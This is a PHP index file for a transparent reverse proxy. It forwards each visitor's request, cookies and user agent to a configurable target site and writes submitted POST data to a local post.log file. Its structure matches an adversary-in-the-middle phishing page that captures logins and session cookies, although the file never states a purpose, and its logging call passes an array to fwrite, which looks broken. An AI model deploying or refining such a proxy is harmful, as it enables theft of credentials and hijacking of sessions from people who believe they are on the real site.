index.php

<?php

$url = $_SERVER['MCAC_ATTR_target'] . $_SERVER['REQUEST_URI'];

$ch = curl_init($url);

if (strtolower($_SERVER['REQUEST_METHOD']) == 'post')
{
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $_POST);
    $myfile = fopen("post.log", "w");
    fwrite($myfile, $_POST);
    fclose($myfile);
}

$cookie = array();
foreach ($_COOKIE as $key => $value)
{
    $cookie[] = $key . '=' . $value;
}
$real_cookie = implode('; ', $cookie);

curl_setopt($ch, CURLOPT_COOKIE, $real_cookie);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

$response = curl_exec($ch);
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = substr($response, 0, $header_size);
$contents = substr($response, $header_size);
curl_close($ch);

$header_text = preg_split('/[\r\n]+/', $header);
foreach ($header_text as $header)
{
    header($header);
}

print $contents;
?>